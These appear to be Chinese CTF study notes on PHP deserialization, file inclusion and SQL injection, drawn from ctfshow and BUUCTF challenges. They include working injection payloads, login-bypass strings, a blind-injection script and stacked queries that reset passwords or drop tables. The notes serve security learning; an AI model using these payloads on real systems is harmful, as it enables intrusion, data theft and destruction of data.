# 属性重载只能在对象中进行。在静态方法中,这些魔术方法将不会被调用。所以这些方法都不能被 声明为 static。将这些魔术方法定义为 static 会产生一个警告。

class PropertyTest {
/** 被重载的数据保存在此 */
private $data = array();


/** 重载不能被用在已经定义的属性 */
public $declared = 1;

/** 只有从类外部访问这个属性时,重载才会发生 */
private $hidden = 2;

public function __set($name, $value)
{
echo "Setting '$name' to '$value'\n";
$this->data[$name] = $value;
}

public function __get($name)
{
echo "Getting '$name'\n";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}

$trace = debug_backtrace();
trigger_error(
'Undefined property via __get(): ' . $name .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return null;
}

public function __isset($name)
{
echo "Is '$name' set?\n";
return isset($this->data[$name]);
}

public function __unset($name)
{
echo "Unsetting '$name'\n";
unset($this->data[$name]);
}

/** 非魔术方法 */
public function getHidden()
{
return $this->hidden;
}
}


echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
echo $obj->hidden . "\n";

属性重载目前没遇到过。

  1. _sleep()__wakeup() (CTF常见)

一个是在序列化前被调用,一个是在反序列化前被调用

# serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。
# 如果存在,该方法会先被调用,然后才执行序列化操作。
# 此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
# 如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误
# __sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

# 与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。
# 如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
# __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
class Connection
{
public $link;

public function __construct($link)
{
$this->link = $link;
}

public function __sleep()
{
echo '序列化前';
return array('link') ; // 返回需要被序列化的属性列表
}

public function __wakeup()
{
echo '反序列化前';
}
}

$a = new Connection('127.0.0.1');
$b = serialize($a);
var_dump($b);
$c = unserialize($b);
var_dump($c);

# 返回
序列化前string(49) "O:10:"Connection":1:{s:4:"link";s:9:"127.0.0.1";}"
反序列化前object(Connection)#2 (1) {
["link"]=>
string(9) "127.0.0.1"
}

魔术方法的绕过

当成员属性数目大于实际数目时,可绕过wakeup

垃圾回收机制,反序列化之字符逃逸

提前完结反序列化字符串

// 读取的核心是利用这个去读取
file_get_contents(base64_decode($userinfo['img']));
// 利用的核心是反序列化的垃圾回收机制
# 垃圾回收机制如下:
a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# 1.假设flag前面就限定为数字4,一旦flag超出4位,那么后面多余的字符串将被抛弃。
# 2.假设 `s:5:"33123";};` 后面还有东西,但是 `a:2{` 的数字2恒不变,那么这个a所包裹的大括号后面的东西将被舍弃
# a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";} =运行读取=> a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";};s:3:'read';s:6:'reading'}; =运行读取=> a:2:{s:4:"flag";s:1:"1";s:3:"red";s:5:"33123";}
# 反序列化的原因是要将后面出现的img变量序列化给删除了
// 序列化后的文本会直接跳过序列化的这个过程(目前观察确实是这样子,并且是同一变量session的情况下。)
这次还给了我们另外一个知识,就是:
1.反序列化的值是以 `;` 为分割的
2.反序列化没有类似于 `=` 的绝对键值对


_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($a));
var_dump(unserialize($b));



JAVA反序列化

暂时省略

文件包含

php函数包含

ini_set()   用于设置php.ini文件的值的函数

1.include
将指定文件包含到当前的 PHP 文件中,并在运行时解析和执行它。
如果包含的文件不存在或出错,则会产生一个警告,并继续执行脚本。

// 将文件"example.php"包含到当前文件中
include 'example.php';


2.require
include类似,将指定文件包含到当前的 PHP 文件中,
但如果包含的文件不存在或出错,则会产生一个致命错误,并停止执行脚本。

// 将文件"example.php"包含到当前文件中
require 'example.php';


3.include_once
include类似,但是只包含文件一次,
即使多次调用include_once函数,也只会包含一次文件。

// 只包含一次文件"example.php"
include_once 'example.php';


4.require_once
require类似,但是只包含文件一次,
即使多次调用require_once函数,也只会包含一次文件。

// 只包含一次文件"example.php"
require_once 'example.php';


5.include_path:
用于获取或设置 PHP 的包含文件搜索路径。
可以通过该函数添加自定义的文件搜索路径。

// 获取当前的包含文件搜索路径
$path = get_include_path();

// 设置新的包含文件搜索路径
set_include_path($path . ":/path/to/custom/directory");


6.get_required_files:
返回在当前脚本中已经通过requireinclude包含的所有文件的数组。

// 获取当前脚本中已经包含的文件
$includedFiles = get_required_files();
print_r($includedFiles);

7.file_exists:
用于检查文件或目录是否存在。

// 检查文件是否存在
if (file_exists('path/to/file.txt')) {
echo '文件存在';
} else {
echo '文件不存在';
}


8. is_file:用于判断给定的路径是否为一个文件。

// 判断路径是否为一个文件
if (is_file('path/to/file.txt')) {
echo '这是一个文件';
} else {
echo '这不是一个文件';
}


9.is_dir:
用于判断给定的路径是否为一个目录。

// 判断路径是否为一个目录
if (is_dir('path/to/directory')) {
echo '这是一个目录';
} else {
echo '这不是一个目录';
}


10. realpath:返回给定的相对路径的绝对路径。

// 获取文件的绝对路径
$absolutePath = realpath('path/to/file.txt');
echo $absolutePath;


11. dirname:返回给定路径的目录部分。

// 获取路径的目录部分
$directory = dirname('/path/to/file.txt');
echo $directory;

日志包含

源头博客

# 某种特殊情况下,访问apache日志,修改UA为注入语句再访问
# 如果访问成功则代表有apache日志注入

日志包含可以使用 .user.ini 包含到本文件当中,并且在UA当中注入代码并获取代码执行结果。(参照: web169~170

python函数

# 使用session进行权限维持

unicodedata.numeric 将字符转换为整数,包括中文的字符
urllib.unquote(request.cookies.get("action")) 读取cookie参数的值
urllib.unquote(request.args.get("param", "")) 读取get参数的值
request.remote_addr 读取客户端IP地址
urllib.urlopen(param).read()读取网络文件,这个参数可以是http/s网址

# 文件操作函数
tmpfile = open('1.txt', 'w')

SQL注入

官方正常的语法点我
select替代方法:handler

SQL注入详细总结的博客:Nday00

-- 绕过 union select组合的封禁的办法
union/**/select

information_schema的代替表: mysql.innodb_table_stats
堆叠查询
select group_concat(b) from (select 1,2 as b,3 union select * from users)a
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

写题目记录

web171 -- 一般流程
# 找列
order by 3 -- -
order by 4 -- -
# 堆叠查询
# 查库
# 堆叠查询数据库相关信息
get: 1'union select 2,database(),3 -- - '
return: ctfshow_web
# 查其它库
get: 1'union select 2,(group_concat(schema_name)),4 from information_schema.schemata-- - '
return: information_schema,test,mysql,performance_schema,ctfshow_web
# 查表
get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- - '
return: ctfshow_user
# 查字段
get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user'-- - '
return: id,username,password
# 查字段对应的内容
get: 1'union select 2,(group_concat(password)),4 from ctfshow_user-- - '
return: admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{a53003e4-a479-47e2-b618-b24d4eabffb8}

web 184


其它注点知识

select * from ctfshow a inner join ctfshow b on b.pass like 0x???????????

join语法

具体参照多表查询

# 内连接:两个表共有的数据进行连接


# 普通的内连接
slect * from ctfshow_user a inner join ctfshow_user b on a.pass=b.pass;
# 解构:
select (值) from11别称名 inner join22别称名 b on 条件表达式
# 条件表达式不局限于 a.pass=b.pass,同样的也适用于 a.pass like 'ctfshow%'

like语法:

# 0x??????????? -> 十六进制的编码,把字符转为ascii的十进制形式再转为十六进制编码(hex(ord(asciiStr)))
# 若干个(hex(ord))拼凑在一起,前面再加个0x,使用like语法拼接,可以达到形如 like 'ctfshow{%' 的效果。

slect * from ctfshow_user a inner join ctfshow_user b on a.pass like 'ctfshow%';
-- 等价于
slect * from ctfshow_user a inner join ctfshow_user b on a.pass like 0x6534353961643338646663353537636635333134363764306535386566363734;

having语法

having搭配 group by 使用,适用于 maridb 数据库,mysql试验的时候不知道出了什么差错失效了。

select count(age) from test2 group by age having age like '%ctf%';
# 相当于:
select count(age) from test2 where age like '%ctf%';

布尔绕过数字限制/数字输入

使用 concat 组装字符串绕过字符被限制的情况。

select concat(true,true+true+true);
# 返回:13

concat巧用

组合字符串的巧妙用法:

#>concat 运用
select concat(true,true+true)
#>等价于
select concat(1,2)
#=得到的结果:12
-- 这样子是纯粹的数字拼接,如果是字符:
#>字符拼接
select concat('ctf','show')
#=得到的结果:ctfshow

如果是使用char和true的组合:

select concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

group_concat合并列

group_up可以直接合并一整个列:

select concat(username) uname from ctfshow_user;

base64编码解码

to_base64()		# 将结果转换为base64的形式
from_base64() # 将base64编码解码

万能密码

-- 万能密码的由来
select 1 and 0 or 0;
-- >0
select 1 and 0 or 1;
-- >1

# 根据这个原理去改装查询用户名和密码的语句
select username,password from user where username='$_POST["username"]' and password='$_POST["password"]';
# 如果单纯的使用上面的语法构造,就变成了:
POST: username=admin&password='or'1
# 而语句就变成了
select username,password from user where username='admin' and password=''or'1';

md5万能密码

echo md5('ffifdyop',true);
# 返回的是形如 'or'???的格式的字符串
echo md5('129581926211651571912466741651878684928', true)
# 这个也是形如 ?'or'?

0账户密码

select username,password from user where username=0 and password=0;

mariadbmysql 通用,都能得到非数字开头的用户名和密码。

regexp正则表达式

mysql的regexp正则表达式解读如下:

MariaDB [kali]> select * from user where username regexp ('a');
+----------+-------------------+
| username | password |
+----------+-------------------+
| admin | asdasdfadfasfasdf |
+----------+-------------------+
1 row in set (0.000 sec)

MariaDB [kali]> select * from user where username regexp ('ad');
+----------+-------------------+
| username | password |
+----------+-------------------+
| admin | asdasdfadfasfasdf |
+----------+-------------------+
1 row in set (0.000 sec)

MariaDB [kali]> select * from user where username regexp ('admin');
+----------+-------------------+
| username | password |
+----------+-------------------+
| admin | asdasdfadfasfasdf |
+----------+-------------------+
1 row in set (0.000 sec)

MariaDB [kali]> select * from user where username regexp ('admina');
Empty set (0.000 sec)

根据观察可以看出,如果正则表达式是加在某个字段后面,是可以挨个匹配字段的某个值的。并且如果匹配错误可以直接不回显。、

同样的,可以和其他的函数进行合并:

select pass from user where username=if(load_file('/var/www/html/api/index.php')regexp('ctfshow{5'),1,0)

注意,此处的合并是没有单双引号的。

load_file读取服务器本地文件内容

这个没什么好说的,读取具有可读取权限的内容,如果没权限是完全读取不了的。下面是本地的测试:(web189)

# 指定的用户目录下的文件无法读取,if返回0,打印所有的非数字开头的用户
MariaDB [kali]> select * from user where username=if(load_file('/home/xiaodi/flag.txt')regexp('ctfshow{'),1,0);
+----------+--------------------+
| username | password |
+----------+--------------------+
| admin | asdasdfadfasfasdf |
| user1 | safsdafsdfasfdsdfa |
+----------+--------------------+
2 rows in set, 2 warnings (0.000 sec)

# 读取具有一定权限的index.php文件,读取正确时if返回1,1无法匹配用户名,返回空
MariaDB [kali]> select * from user where username=if(load_file('/var/www/html/index.php')regexp('ctfshow{5'),1,0);
Empty set, 2 warnings (0.000 sec)

上面那个是合并用法,下面单独列出来试试:

MariaDB [kali]> select load_file('/home/xiaodi/flag.txt');
+------------------------------------+
| load_file('/home/xiaodi/flag.txt') |
+------------------------------------+
| NULL |
+------------------------------------+
1 row in set (0.000 sec)

MariaDB [kali]> select load_file('/var/www/html/index.php');
+--------------------------------------------------------------------------+
| load_file('/var/www/html/index.php') |
+--------------------------------------------------------------------------+
| <?php
$flag="ctfshow{54b3a029-69fd-4b1b-9227-ba171558021a}";
phpinfo();
|
+--------------------------------------------------------------------------+
1 row in set (0.000 sec)

可以看到,能读取出文件内容的只有index.php。接下来看看权限:

xiaodi@xiaodi-test:~$ ll | grep flag
-rw-rw-r-- 1 xiaodi xiaodi 47 1月 22 10:12 flag.txt
xiaodi@xiaodi-test:~$ ll /var/www/html/index.php
-rw-r--r-- 1 root root 72 1月 22 10:57 /var/www/html/index.php

截断字符串

指定位置截断指定字符串-substr/substring/mid

截断字符串的函数有几个:

# 函数(字符串,起始截断处(从1开始),截断的字符串个数)
select substr('ctfshow',3,1);
select substring('ctfshow',3,1);
select mid('ctfshow',1,1);

按字符左右截断-left/right

# 从字符串左边获取一个字符
select left('ctfshow',1);
# 从字符串右边获取一个字符
select right('ctfshow',1);

查出指定字符串第一次出现的位置

# 函数(单个字符串,被查询的字符串,4)	function(a,b,c)
# 根据c开始的位置(从1开始),从b查询a第一次出现的位置。
select locate('s','ctfshow',4) content;

# instr获取的是字符串第一次出现的位置,但无法限制字符串的起始位置
select instr('ctfshow','c');

替换字符串

# replace,将字符串特定字符串替换为指定字符串
select replace('ctfshow','ow','ed') content;

堆叠注入

update堆叠更新用户密码

在已知表名字的的情况下,可以尝试直接改写用户的密码实现注入:

select * from test1 where username=0;update`ctfshow_user`set`pass`=0x31333134;
# 意思是在原定的select的语句后面使用分号,插入意外的update语句更新ctfshow_user列表的所有内容

-- update个人感觉有点危险,可以试着加个where限制更新的用户,防止更新了指定列表的全部用户的密码
update`test1`set`pass`='1314'where`username`='admin';

select绕过密码验证

具体看 web196 题,使用的是select返回字符串作为密码。

 //拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
# 如果 $username='1;select(0)' ,补充完整如下的话:
$sql = "select pass from ctfshow_user where username = 1;select(0);";
# sql如果得到的结果就是密码的话,使用堆叠注入的select(0)去顶替真正的密码,直接实现使用 {用户名:1;select(0),密码:0}登录。

单表用户登录绕过

之所以这么说,也是有原因的。如果是多表,八成会报错。本地查询测试的时候就报错了。

# 对应的sql注入语句
select pass from ctfshow_user where username=$username
# 对应的用户名和密码输入
username: 1;show tables
password: ctfshow_user
# 意思是:使用show tables展示出当前的唯一一个表名,密码直接使用表名进行登录,前提是知道表名。

修改字段名进行绕过

情况1:

-- 情况1:(字段1改名为没存在过的新字段名,字段2改成字段1的名字)
# 原始的sql句子
select pass from ctfshow_user where username=$username
# 对应的用户名和密码
username: 1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)
password: 0
# 修改完成后对pass字段进行数值爆破即可

情况2:交换字段名,使用已泄露的用户名作为密码登录

username: 0;alter table ctfshow_user change `username` `pass2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `pass2` `pass` varchar(100)
password: 0
# 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录
# 注意,交换后用户名就是密码,密码就是用户名
username: 0
password: userAUTO # 这个是前期泄露的用户名

删+创+插

username: 0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`)value(1,2)
password: 0

修改成功后再使用1和2进行登录即可

删除指定表(危险操作)

drop table ctfshow_user;

重新创建指定表

create ctfshow_user(`username` varchar(100),`pass` varchar(100));

插入语句可以无init

注意,插入语句可以带 init 或者不带 init .

insert into ctfshiow_user (`username`,`pass`)value(1,2);
insert ctfshow_user(`username`,`pass`)value(1,2);

如果条件允许的话,可以尝试直接插入用户名和密码。

时间盲注

时间盲注注重的是延时函数,利用反应时间来测试答案的正确性。也正如此,很大程度上极其容易受到网络波动的影响。

SQL-sleep

十分普通的sql延时函数,常用泛用没什么问题,能以秒为单位延时。

select sleep(3);

benchmark大量计算充当延迟

benchmark(3500000,md5('www'));

利用大量的计算量来充当延迟,具体延时多少还是得使用BP去测试。这个是要消耗服务器性能的。

笛卡尔积–大量查询形成延时

利用对某个大体量数据库进行查询,查询的耗时就是我们需要的延时。一般情况下会堆叠到三层,具体延时多少还是得自己测试。

(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c)
# 具体使用
if(1>0,(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c),1)

注入流程

([极客大挑战 2019]LoveSQL)

这里使用的工具是:hackbar

#传统的SQL手工注入流程:
检测是否存在漏洞=>测注入点(回显点)=>爆库=>爆表=>爆字段=>爆字段值=>得到flag

好了,开始手注了:
1.测试列数
/check.php?username=1' order by 1 %23&password=123
此时返回正常的:
NO,Wrong username password!!!
刚好测到4时,出现报错:
/check.php?username=4' order by 1 %23&password=123
回显报错是:
Unknown column '4' in 'order clause'
说明列数为3
2.测试回显点
这里采用的是联合查询
/check.php?username=4' union select 1,2,3 %23&password=123 '
output:
Hello 2
Your password is '3'
返回的信息有'2''3'作为回显点,那么我们就可以……嘿嘿嘿……

3.爆库
这个爆库是有个大前提的,就是它必须自带information_schema表
这个是Mysql5.0开始系统自带的数据表,同时还有其它数据表也是系统自带的
这里先按下不表

尝试爆出当前 '数据库名''版本信息' :
/check.php?username=4' union select 1,database(),version() %23&password=123 '
output:
Hello geek!
Your password is '10.3.18-MariaDB'
说明当前数据库是'geek',版本是'10.3.18-MariaDB',
符合使用那个特殊表的条件

3.爆表
使用information_schema '爆表名' :(显示问题,分成几行写)
/check.php?username=4' union select 1,
2,group_concat(table_name) from
information_schema.tables where table_schema=database() %23
&password=123 '

output:
Hello 2
Your password is 'geekuser,l0ve1ysq1'

4.爆字段
尝试爆刚刚得到表的相关字段(因为'geekuser'表爆不出重要信息,省略)
/check.php?username=4' union select 1,
group_concat(column_name),3 from
information_schema.columns where
table_name='l0ve1ysq1'%password=123 '
爆出的信息:
Hello 2
Your password is 'id,username,password'

5.爆字段值
找到了库名,表名,只需要爆出字段值就能找到目标账户信息了:
/check.php?username=1' union select 1,
group_concat(username,'<br>'),group_concat(password,'<br>')
from geek.l0ve1ysq1 %23&password=1
output:
Hello
1cl4y,2glzjin,3Z4cHAr7zCr,40xC4m3l,5Ayrain,6Akko,7fouc5,8fouc5,9fouc5,10fouc5,11fouc5,12fouc5,13fouc5,14fouc5,15leixiao,16flag!
Your password is
'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}' '
'末尾处有flag:'
flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}

SQL注入流程

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

注入技巧和方法

# 数据库异或注入,有关脚本就不放了,放下有关的SQL语句:
id=1^(length(database()));
id=1^(ord(SUBSTRING(database(),{},1))={});
id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={});
id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="F1naI1y"))={});
id=1^((select(ord(SUBSTRING(GROUP_CONCAT(password),{},1)))from(geek.F1naI1y))={});

相关脚本(其实可以按照需求写)

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)


if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
blind_injection(url)


注入函数

version()	-- 查询数据库版本
user() -- 查数据库使用者名
database() -- 数据库
to_base64() -- 将数据加密为base64

其它注入-(limit)

limit注入

具体详情:大牛博客

mysql 5 的版本。

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

into

需要写入shell的权限

procedure

组合使用: procedure analyse

范例如下:

select * from tables limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database(),0x3a)),1);

这是结合报错注入的。

注入工具(SQLMAP)

SQLmap

常用/使用过的sqlmap语法

-u 				# 指定URL
-p # 指定爆破的参数
-r # 指定数据包文件
-D # 指定库名
-T # 指定表名
-C # 指定列名
--user-agent # 指定访问的ua头
--referer # 指定从哪个地方(网站)来
--data "id=1" # POST数据的指定方式

--header=Content-Type:text/plain # 指定文件头
--metnod=PUT # 指定请求方式

# 模糊查询库、表、列名
--dbs # 获取数据库
--tables # 获取表名
--columns # 获取字段(列名)
--dump # 获取列值

鉴权:

--safe-url="http://xxxx/xxxx" 	# 访问鉴权链接(访问流程是访问一次鉴权链接再访问-u指定的指定链接)
--safe-freq=1 # 应该是访问鉴权链接的次数

攻击载荷/闭合sql语句

--prefix=PREFIX #攻击载荷的前缀  	攻击句子的左边闭合,例如:--prefix="')"
--suffix=SUFFIX #攻击载荷的后缀 攻击句子的右边闭合,例如:--suffix="#"

SQLmap内置脚本

脚本调用:--tamper

注意:脚本调用是遵循顺序的,比如:

--tamper "x1,x2,x3"

那么对应的,脚本会遵循从x1开始不断往后叠加脚本,比如第一个进行空格替换,第二个进行等号的替换,最后一个进行base64加密。

#使用方法
--tamper=x1,x2,x3...

#相关脚本
常见的tamper有:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释


反弹shell

–os-shell

部分插件

防空格和乘法符号:

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = retVal.replace('-- -','#')
retVal = retVal.replace(' ',chr(0x0a))
retVal = retVal.replace('=',chr(0x0a)+'like'+chr(0x0a))


return retVal

base64加密于解密:

import base64

# 加密
a = base64.b64encode('Hello world!'.encode('utf-8')).decode('utf-8')
# 解密
b = base64.b64decode(a.encode('utf-8')).decode('utf-8')

绕过方案

python

# 绕过空格限制的方案 
chr(0x0a) # 换行绕过
chr(0x09) # 制表符绕过

# 绕过等于号的操作
chr(0x09)+'like'+chr(0x09) # 使用空格字符+like进行绕过

mysql

-- 关于base64 from_base64/to_base64
#当数据库出现:
select * from test where id=from_base64($id);
#则id必须是: to_base64(payload) 进行对payload的编码解码
select * from test where id=from_base64(to_base64(payload));

模板漏洞/模板注入

模板注入的位置:用户名,密码,回显的参数,UA,XFF等。

判断

模板漏洞判断
${7*7} |==>a{*comment*}b=|=>Smarty
| |=>${"z".join("ab")}=|=>Mako
| |=>Unknown
| |=>Jinja2
